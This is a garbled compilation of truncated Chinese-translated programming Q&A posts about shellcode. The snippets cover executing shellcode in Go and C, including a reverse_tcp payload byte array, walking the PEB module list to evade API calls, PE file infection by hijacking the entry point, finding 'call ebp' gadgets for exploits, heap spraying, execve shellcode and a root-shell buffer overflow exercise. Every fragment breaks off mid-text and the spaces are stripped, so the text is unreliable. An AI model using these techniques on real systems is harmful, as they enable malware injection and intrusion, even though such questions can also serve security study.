我想知道如何在GoLang中执行字节(基本上是shellcode)。无论如何,我找到了一些可以帮助我入门的东西,请检查下面的代码:packagemainimport("fmt""log""syscall""unsafe")const(MEM_COMMIT=0x1000MEM_RESERVE=0x2000PAGE_EXECUTE_READWRITE=0x40)var(kernel32=syscall.MustLoadDLL("kernel32.dll")VirtualAlloc=kernel32.MustFindProc("VirtualAlloc"))funcSysAlloc(nuin
我正在尝试获取我的应用程序中已加载模块的列表(与安全/shellcode有关,因此请避免调用WINAPI)。我正在遍历PEB->Ldr模块双向链表,但每次打印DLL的名称时,它只是打印当前正在执行的应用程序的名称和路径。在其他人的代码中,我看到他们只是将当前的LIST_ENTRY指针设为PLDR_DATA_TABLE_ENTRY,您可以直接调用FullDllName那样。但是,例如,要实际获取基址,您需要调用Reserved2[0]而不是DllBase,这是可以理解的,因为LIST_ENTRY是结构中的8个字节,但它没有解释为什么可以直接调用FullDllName。Here'sanex
我尝试在C中执行shellcode时遇到问题(基本的reverse_tcp,指向本地地址)。我从基础开始,代码如下:#defineWIN32_LEAN_AND_MEAN#include#include#include#includeintmain(intargc,char*argv[]){unsignedcharshellcode[]=\"\xfd\xab\xd2\xa9\xb1\x29\xe0\xdd\x38\x64\x51\x24\x9d\x0f\xdf""\x8a\xc2\x01\x0d\x2e\x6c\x9b\x86\xa9\x2e\x6f\xd9\xb3\x04\x4a""\
我试图通过在PE文件末尾添加一个额外的节头并在其中编写shellcode来进行PE感染。我已经添加了额外的部分并在其中编写了shellcode,并将原始入口点(OEP)更改为新添加的部分并且它执行得很好;我的意思是我的shellcode运行良好,但现在我想恢复主进程,为此我需要再次将修改后的入口点更改为OEP。但是,我无法弄清楚。请告诉我是否有任何方法可以在执行shellcode后恢复主进程。而且,我也试过这个blog,但它也不起作用,因为作者编写了内联汇编代码并放置了一些占位符以在运行时恢复OEP,这将动态嵌入到shellcode中。我正在考虑编写一个包含JMPto_OEP的shel
如何找到特定指令的内存地址(用于编写漏洞利用程序)?具体来说,我正在寻找user32.dll中的callebp指令,在没有ServicePack的WindowsXP上,我可以指向其地址EIP到。我有两个ImmunityDebugger和OllyDBG安装在目标上。 最佳答案 要找到一条指令,您需要找出代码、.text、部分的开始和结束位置,然后加载DLL并进行线性搜索,直到找到该指令。这里我们有一个测试DLL,它有两条callebp指令://test.c//gcc-Wall-sharedtest.c-otest.dll#includ
"heapspraying"维基百科文章表明,许多javascript漏洞利用涉及将shellcode定位在脚本的可执行代码或数据空间内存中的某个位置,然后让解释器跳转到那里并执行它。我不明白的是,为什么不能将解释器的整个堆标记为“数据”,这样DEP就会阻止解释器执行shellcode?同时,javascript派生字节码的执行将由不允许它修改属于解释器的内存的虚拟机完成(这在似乎执行机器代码的V8上不起作用,但可能在使用某种类型的Firefox上起作用字节码)。我想上面的内容听起来微不足道,实际上可能正在做一些类似的事情。所以,我试图了解推理中的缺陷在哪里,或者现有解释器实现中的缺陷
通过http://hackoftheday.securitytube.net/2013/04/demystifying-execve-shellcode-stack.html我了解调用execve的nasm程序并试图重写它。一些背景信息:intexecve(constchar*filename,char*constargv[],char*constenvp[]);因此,eax=11(execve的函数调用号),ebx应该指向char*filename,ecx应该指向argv[](这将与ebx相同,因为第一个参数是*filename本身,例如在本例中为“/bin/sh”),而edx将指向
我正在尝试学习在程序中执行shellcode,但我什至无法运行最基本的代码。以下代码应该在运行时退出终端:#include#include#include#includecharexitcode[]="\xb0\x01\x31\xdb\xcd\x80";intmain(){int(*func)();func=(int(*)())exitcode;(int)(*func)();return0;}但我得到的只是一个段错误。GDB说当程序访问exitcode[at(int)(*func)();的内存位置时就会发生这种情况。],但我不确定为什么这会导致问题。我正在运行64位LinuxMint操
我正在对C程序上的缓冲区过载进行练习,该问题的目的是将根外壳插入程序中,以获取根壳。这就是我到目前为止所拥有的:步骤1.首先,让我们在文件中查看我的C代码file.c:root@kali:~#cat./file.c#include#includevoidpremio(){printf("Ihavealteredtheprogramsflow\n");}intmain(intargc,char*argv[]){charbuffer[100];if(argc!=2){printf("Use:%sargument\n",argv[0]);return-1;}strcpy(buffer,argv[1]
在gcc中这工作正常。代码是这样的:unsignedcharb[50]="\xda\xd1...\x0";//someshellcodewithterminating\x0((void(*)())b)();//castbtofunctionpointerfromvoidtovoid,thenrunit但是当它被放入VisualC++时,它会吐出这个错误信息:1>..\test.cpp(132):errorC2440:'typecast':cannotconvertfrom'unsignedchar[50]'to'void(__cdecl*)(void)'1>Thereisnoconte